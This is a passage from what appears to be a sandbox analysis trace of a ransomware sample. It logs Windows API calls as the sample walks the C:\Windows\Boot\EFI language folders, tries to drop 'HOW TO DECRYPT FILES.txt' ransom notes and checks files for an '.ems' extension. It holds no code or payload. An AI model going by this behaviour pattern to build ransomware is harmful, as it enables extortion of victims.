hTemplateFile=0x0) returned 0xffffffff [0125.018] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.018] CloseHandle (hObject=0xffffffff) returned 0 [0125.019] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\en-US\\", lpString2="memtest.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\en-US\\memtest.efi.mui") returned="C:\\Windows\\Boot\\EFI\\en-US\\memtest.efi.mui" [0125.019] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\en-US\\memtest.efi.mui", pszSpec="*.ems") returned 0 [0125.019] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1aba1800, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.efi.mui", cAlternateFileName="")) returned 0 [0125.019] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.019] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde9e7ec, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde9e7ec, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0125.019] lstrcmpA (lpString1=".", lpString2="es-ES") returned -1 [0125.019] lstrcmpA (lpString1="..", lpString2="es-ES") returned -1 [0125.019] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.019] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="es-ES" | out: lpString1="C:\\Windows\\Boot\\EFI\\es-ES") returned="C:\\Windows\\Boot\\EFI\\es-ES" [0125.019] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\es-ES\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde9e7ec, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde9e7ec, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.020] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.020] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde9e7ec, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde9e7ec, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.020] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.020] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.020] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8254d79, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe8978ee9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x782e3810, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.020] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.020] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.020] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.020] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.020] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\es-ES\\*.*") returned="*.*" [0125.020] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\es-ES\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\es-ES\\") returned="C:\\Windows\\Boot\\EFI\\es-ES\\" [0125.020] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\es-ES\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\es-ES\\") returned="" [0125.020] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\es-ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\es-ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\es-ES\\HOW TO DECRYPT FILES.txt" [0125.020] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\es-ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\es-es\\how to decrypt files.txt")) returned 0xffffffff [0125.021] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\es-ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\es-es\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.021] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.021] CloseHandle (hObject=0xffffffff) returned 0 [0125.021] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\es-ES\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\es-ES\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\es-ES\\bootmgfw.efi.mui" [0125.021] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\es-ES\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.022] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f1a02a, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe26b05b1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe26d670e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.022] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.022] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.022] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.022] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.022] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\es-ES\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.022] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\es-ES\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\es-ES\\") returned="C:\\Windows\\Boot\\EFI\\es-ES\\" [0125.022] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\es-ES\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\es-ES\\") returned="" [0125.022] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\es-ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\es-ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\es-ES\\HOW TO DECRYPT FILES.txt" [0125.022] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\es-ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\es-es\\how to decrypt files.txt")) returned 0xffffffff [0125.022] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\es-ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\es-es\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.022] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.023] CloseHandle (hObject=0xffffffff) returned 0 [0125.023] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\es-ES\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\es-ES\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\es-ES\\bootmgr.efi.mui" [0125.023] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\es-ES\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.023] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f1a02a, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe26b05b1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe26d670e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.023] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.023] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0125.023] lstrcmpA (lpString1=".", lpString2="fi-FI") returned -1 [0125.023] lstrcmpA (lpString1="..", lpString2="fi-FI") returned -1 [0125.023] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.023] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="fi-FI" | out: lpString1="C:\\Windows\\Boot\\EFI\\fi-FI") returned="C:\\Windows\\Boot\\EFI\\fi-FI" [0125.024] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\fi-FI\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.024] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.024] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.024] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.024] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.024] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe26642f7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dfa87e, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x78225144, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.024] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.024] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.024] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.024] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.024] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\fi-FI\\*.*") returned="*.*" [0125.024] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\fi-FI\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\fi-FI\\") returned="C:\\Windows\\Boot\\EFI\\fi-FI\\" [0125.025] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\fi-FI\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\fi-FI\\") returned="" [0125.025] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\fi-FI\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\fi-FI\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\fi-FI\\HOW TO DECRYPT FILES.txt" [0125.025] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\fi-FI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\fi-fi\\how to decrypt files.txt")) returned 0xffffffff [0125.025] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\fi-FI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\fi-fi\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.025] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.025] CloseHandle (hObject=0xffffffff) returned 0 [0125.025] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\fi-FI\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\fi-FI\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\fi-FI\\bootmgfw.efi.mui" [0125.025] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\fi-FI\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.026] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4edb5c7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5671b4e, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5671b4e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.026] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.027] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.027] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.027] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.028] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\fi-FI\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.028] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\fi-FI\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\fi-FI\\") returned="C:\\Windows\\Boot\\EFI\\fi-FI\\" [0125.028] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\fi-FI\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\fi-FI\\") returned="" [0125.028] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\fi-FI\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\fi-FI\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\fi-FI\\HOW TO DECRYPT FILES.txt" [0125.028] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\fi-FI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\fi-fi\\how to decrypt files.txt")) returned 0xffffffff [0125.028] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\fi-FI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\fi-fi\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.028] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.028] CloseHandle (hObject=0xffffffff) returned 0 [0125.028] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\fi-FI\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\fi-FI\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\fi-FI\\bootmgr.efi.mui" [0125.029] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\fi-FI\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.029] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4edb5c7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5671b4e, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5671b4e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.029] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.029] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0125.029] lstrcmpA (lpString1=".", lpString2="fr-FR") returned -1 [0125.029] lstrcmpA (lpString1="..", lpString2="fr-FR") returned -1 [0125.029] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.029] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="fr-FR" | out: lpString1="C:\\Windows\\Boot\\EFI\\fr-FR") returned="C:\\Windows\\Boot\\EFI\\fr-FR" [0125.029] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\fr-FR\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.030] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.030] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.030] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.030] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.030] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea84491c, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeafdaea3, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x783ee194, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.030] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.030] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.030] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.030] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.030] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\fr-FR\\*.*") returned="*.*" [0125.030] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\fr-FR\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\fr-FR\\") returned="C:\\Windows\\Boot\\EFI\\fr-FR\\" [0125.030] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\fr-FR\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\fr-FR\\") returned="" [0125.030] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\fr-FR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\fr-FR\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\fr-FR\\HOW TO DECRYPT FILES.txt" [0125.030] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\fr-FR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\fr-fr\\how to decrypt files.txt")) returned 0xffffffff [0125.031] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\fr-FR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\fr-fr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.031] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.031] CloseHandle (hObject=0xffffffff) returned 0 [0125.031] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\fr-FR\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\fr-FR\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\fr-FR\\bootmgfw.efi.mui" [0125.031] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\fr-FR\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.032] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea7ac3a8, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaed0518, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaed0518, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.032] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.032] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.032] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.032] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.032] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\fr-FR\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.032] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\fr-FR\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\fr-FR\\") returned="C:\\Windows\\Boot\\EFI\\fr-FR\\" [0125.032] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\fr-FR\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\fr-FR\\") returned="" [0125.032] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\fr-FR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\fr-FR\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\fr-FR\\HOW TO DECRYPT FILES.txt" [0125.032] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\fr-FR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\fr-fr\\how to decrypt 